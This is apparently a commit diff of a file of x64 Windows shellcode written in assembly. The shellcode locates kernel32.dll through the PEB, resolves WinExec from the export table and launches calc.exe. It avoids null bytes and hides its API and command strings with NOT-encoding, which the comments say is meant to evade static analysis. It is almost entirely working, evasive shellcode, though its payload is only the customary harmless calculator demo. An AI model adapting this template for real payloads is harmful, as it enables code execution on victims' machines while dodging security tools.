1
- xor rdi , rdi ; RDI = 0x0
2
- mul rdi ; RAX&RDX =0x0
3
- mov rbx , gs : [ rax + 0x60 ] ; RBX = Address_of_PEB
4
- mov rbx , [ rbx + 0x18 ] ; RBX = Address_of_LDR
5
- mov rbx , [ rbx + 0x20 ] ; RBX = 1st entry in InitOrderModuleList / ntdll.dll
6
- mov rbx , [ rbx ] ; RBX = 2nd entry in InitOrderModuleList / kernelbase.dll
7
- mov rbx , [ rbx ] ; RBX = 3rd entry in InitOrderModuleList / kernel32.dll
8
- mov rbx , [ rbx + 0x20 ] ; RBX = &kernel32.dll ( Base Address of kernel32.dll)
9
- mov r8 , rbx ; RBX & R8 = &kernel32.dll
10
-
11
- ; Get kernel32.dll ExportTable Address
12
- mov ebx , [ rbx + 0x3C ] ; RBX = Offset NewEXEHeader
13
- add rbx , r8 ; RBX = &kernel32.dll + Offset NewEXEHeader = &NewEXEHeader
14
- xor rcx , rcx ; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add
15
- add cx , 0x88ff
16
- shr rcx , 0x8 ; RCX = 0x88ff --> 0x88
17
- mov edx , [ rbx + rcx ] ; EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable
18
- add rdx , r8 ; RDX = &kernel32.dll + RVA ExportTable = &ExportTable
19
-
20
- ; Get &AddressTable from Kernel32.dll ExportTable
21
- xor r10 , r10
22
- mov r10d , [ rdx + 0x1C ] ; RDI = RVA AddressTable
23
- add r10 , r8 ; R10 = &AddressTable
24
-
25
- ; Get &NamePointerTable from Kernel32.dll ExportTable
26
- xor r11 , r11
27
- mov r11d , [ rdx + 0x20 ] ; R11 = [&ExportTable + Offset RVA Name PointerTable] = RVA NamePointerTable
28
- add r11 , r8 ; R11 = &NamePointerTable (Memory Address of Kernel32.dll Export NamePointerTable)
29
-
30
- ; Get &OrdinalTable from Kernel32.dll ExportTable
31
- xor r12 , r12
32
- mov r12d , [ rdx + 0x24 ] ; R12 = RVA OrdinalTable
33
- add r12 , r8 ; R12 = &OrdinalTable
34
-
35
- jmp short apis
36
-
37
- ; Get the address of the API from the Kernel32.dll ExportTable
38
- getapiaddr:
39
- pop rbx ; save the return address for ret 2 caller after API address is found
40
- pop rcx ; Get the string length counter from stack
41
- xor rax , rax ; Setup Counter for resolving the API Address after finding the name string
42
- mov rdx , rsp ; RDX = Address of API Name String to match on the Stack
43
- push rcx ; push the string length counter to stack
44
- loop :
45
- mov rcx , [ rsp ] ; reset the string length counter from the stack
46
- xor rdi , rdi ; Clear RDI for setting up string name retrieval
47
- mov edi , [ r11 + rax * 4 ] ; EDI = RVA NameString = [&NamePointerTable + (Counter * 4)]
48
- add rdi , r8 ; RDI = &NameString = RVA NameString + &kernel32.dll
49
- mov rsi , rdx ; RSI = Address of API Name String to match on the Stack (reset to start of string)
50
- repe cmpsb ; Compare strings at RDI & RSI
51
- je resolveaddr ; If match then we found the API string. Now we need to find the Address of the API
52
- incloop:
53
- inc rax
54
- jmp short loop
55
-
56
- ; Find the address of GetProcAddress by using the last value of the Counter
57
- resolveaddr:
58
- pop rcx ; remove string length counter from top of stack
59
- mov ax , [ r12 + rax * 2 ] ; RAX = [&OrdinalTable + (Counter*2)] = ordinalNumber of kernel32.<API>
60
- mov eax , [ r10 + rax * 4 ] ; RAX = RVA API = [&AddressTable + API OrdinalNumber]
61
- add rax , r8 ; RAX = Kernel32.<API> = RVA kernel32.<API> + kernel32.dll BaseAddress
62
- push rbx ; place the return address from the api string call back on the top of the stack
63
- ret ; return to API caller
64
-
65
- apis: ; API Names to resolve addresses
66
- ; WinExec | String length : 7
67
- xor rcx , rcx
68
- add cl , 0x7 ; String length for compare string
69
- mov rax , 0x9C9A87BA9196A80F ; not 0x9C9A87BA9196A80F = 0xF0,WinExec
70
- not rax ;mov rax, 0x636578456e6957F0 ; cexEniW,0xF0 : 636578456e6957F0 - Did Not to avoid WinExec returning from strings static analysis
71
- shr rax , 0x8 ; xEcoll,0xFFFF --> 0x0000,xEcoll
72
- push rax
73
- push rcx ; push the string length counter to stack
74
- call getapiaddr ; Get the address of the API from Kernel32.dll ExportTable
75
- mov r14 , rax ; R14 = Kernel32.WinExec Address
76
-
77
- ; UINT WinExec(
78
- ; LPCSTR lpCmdLine, => RCX = "calc.exe",0x0
79
- ; UINT uCmdShow => RDX = 0x1 = SW_SHOWNORMAL
80
- ; );
81
- xor rcx , rcx
82
- mul rcx ; RAX & RDX & RCX = 0x0
83
- ; calc.exe | String length : 8
84
- push rax ; Null terminate string on stack
85
- mov rax , 0x9A879AD19C939E9C ; not 0x9A879AD19C939E9C = "calc.exe"
86
- not rax
87
- ;mov rax, 0x6578652e636c6163 ; exe.clac : 6578652e636c6163
88
- push rax ; RSP = "calc.exe",0x0
89
- mov rcx , rsp ; RCX = "calc.exe",0x0
90
- inc rdx ; RDX = 0x1 = SW_SHOWNORMAL
91
- sub rsp , 0x20 ; WinExec clobbers first 0x20 bytes of stack (Overwrites our command string when proxied to CreatProcessA)
1
+ [bits 64]
2
+
3
+ section .text:
4
+ global _start
5
+
6
+ _start:
7
+ xor rdi, rdi ; RDI = 0x0
8
+ mul rdi ; RAX&RDX =0x0
9
+ mov rbx, gs:[rax+0x60] ; RBX = Address_of_PEB
10
+ mov rbx, [rbx+0x18] ; RBX = Address_of_LDR
11
+ mov rbx, [rbx+0x20] ; RBX = 1st entry in InitOrderModuleList / ntdll.dll
12
+ mov rbx, [rbx] ; RBX = 2nd entry in InitOrderModuleList / kernelbase.dll
13
+ mov rbx, [rbx] ; RBX = 3rd entry in InitOrderModuleList / kernel32.dll
14
+ mov rbx, [rbx+0x20] ; RBX = &kernel32.dll ( Base Address of kernel32.dll)
15
+ mov r8, rbx ; RBX & R8 = &kernel32.dll
16
+
17
+ ; Get kernel32.dll ExportTable Address
18
+ mov ebx, [rbx+0x3C] ; RBX = Offset NewEXEHeader
19
+ add rbx, r8 ; RBX = &kernel32.dll + Offset NewEXEHeader = &NewEXEHeader
20
+ xor rcx, rcx ; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add
21
+ add cx, 0x88ff
22
+ shr rcx, 0x8 ; RCX = 0x88ff --> 0x88
23
+ mov edx, [rbx+rcx] ; EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable
24
+ add rdx, r8 ; RDX = &kernel32.dll + RVA ExportTable = &ExportTable
25
+
26
+ ; Get &AddressTable from Kernel32.dll ExportTable
27
+ xor r10, r10
28
+ mov r10d, [rdx+0x1C] ; RDI = RVA AddressTable
29
+ add r10, r8 ; R10 = &AddressTable
30
+
31
+ ; Get &NamePointerTable from Kernel32.dll ExportTable
32
+ xor r11, r11
33
+ mov r11d, [rdx+0x20] ; R11 = [&ExportTable + Offset RVA Name PointerTable] = RVA NamePointerTable
34
+ add r11, r8 ; R11 = &NamePointerTable (Memory Address of Kernel32.dll Export NamePointerTable)
35
+
36
+ ; Get &OrdinalTable from Kernel32.dll ExportTable
37
+ xor r12, r12
38
+ mov r12d, [rdx+0x24] ; R12 = RVA OrdinalTable
39
+ add r12, r8 ; R12 = &OrdinalTable
40
+
41
+ jmp short apis
42
+
43
+ ; Get the address of the API from the Kernel32.dll ExportTable
44
+ getapiaddr:
45
+ pop rbx ; save the return address for ret 2 caller after API address is found
46
+ pop rcx ; Get the string length counter from stack
47
+ xor rax, rax ; Setup Counter for resolving the API Address after finding the name string
48
+ mov rdx, rsp ; RDX = Address of API Name String to match on the Stack
49
+ push rcx ; push the string length counter to stack
50
+ loop:
51
+ mov rcx, [rsp] ; reset the string length counter from the stack
52
+ xor rdi,rdi ; Clear RDI for setting up string name retrieval
53
+ mov edi, [r11+rax*4] ; EDI = RVA NameString = [&NamePointerTable + (Counter * 4)]
54
+ add rdi, r8 ; RDI = &NameString = RVA NameString + &kernel32.dll
55
+ mov rsi, rdx ; RSI = Address of API Name String to match on the Stack (reset to start of string)
56
+ repe cmpsb ; Compare strings at RDI & RSI
57
+ je resolveaddr ; If match then we found the API string. Now we need to find the Address of the API
58
+ incloop:
59
+ inc rax
60
+ jmp short loop
61
+
62
+ ; Find the address of GetProcAddress by using the last value of the Counter
63
+ resolveaddr:
64
+ pop rcx ; remove string length counter from top of stack
65
+ mov ax, [r12+rax*2] ; RAX = [&OrdinalTable + (Counter*2)] = ordinalNumber of kernel32.<API>
66
+ mov eax, [r10+rax*4] ; RAX = RVA API = [&AddressTable + API OrdinalNumber]
67
+ add rax, r8 ; RAX = Kernel32.<API> = RVA kernel32.<API> + kernel32.dll BaseAddress
68
+ push rbx ; place the return address from the api string call back on the top of the stack
69
+ ret ; return to API caller
70
+
71
+ apis: ; API Names to resolve addresses
72
+ ; WinExec | String length : 7
73
+ xor rcx, rcx
74
+ add cl, 0x7 ; String length for compare string
75
+ mov rax, 0x9C9A87BA9196A80F ; not 0x9C9A87BA9196A80F = 0xF0,WinExec
76
+ not rax ;mov rax, 0x636578456e6957F0 ; cexEniW,0xF0 : 636578456e6957F0 - Did Not to avoid WinExec returning from strings static analysis
77
+ shr rax, 0x8 ; xEcoll,0xFFFF --> 0x0000,xEcoll
78
+ push rax
79
+ push rcx ; push the string length counter to stack
80
+ call getapiaddr ; Get the address of the API from Kernel32.dll ExportTable
81
+ mov r14, rax ; R14 = Kernel32.WinExec Address
82
+
83
+ ; UINT WinExec(
84
+ ; LPCSTR lpCmdLine, => RCX = "calc.exe",0x0
85
+ ; UINT uCmdShow => RDX = 0x1 = SW_SHOWNORMAL
86
+ ; );
87
+ xor rcx, rcx
88
+ mul rcx ; RAX & RDX & RCX = 0x0
89
+ ; calc.exe | String length : 8
90
+ push rax ; Null terminate string on stack
91
+ mov rax, 0x9A879AD19C939E9C ; not 0x9A879AD19C939E9C = "calc.exe"
92
+ not rax
93
+ ;mov rax, 0x6578652e636c6163 ; exe.clac : 6578652e636c6163
94
+ push rax ; RSP = "calc.exe",0x0
95
+ mov rcx, rsp ; RCX = "calc.exe",0x0
96
+ inc rdx ; RDX = 0x1 = SW_SHOWNORMAL
97
+ sub rsp, 0x20 ; WinExec clobbers first 0x20 bytes of stack (Overwrites our command string when proxied to CreatProcessA)
92
98
call r14 ; Call WinExec("calc.exe", SW_HIDE)
0 commit comments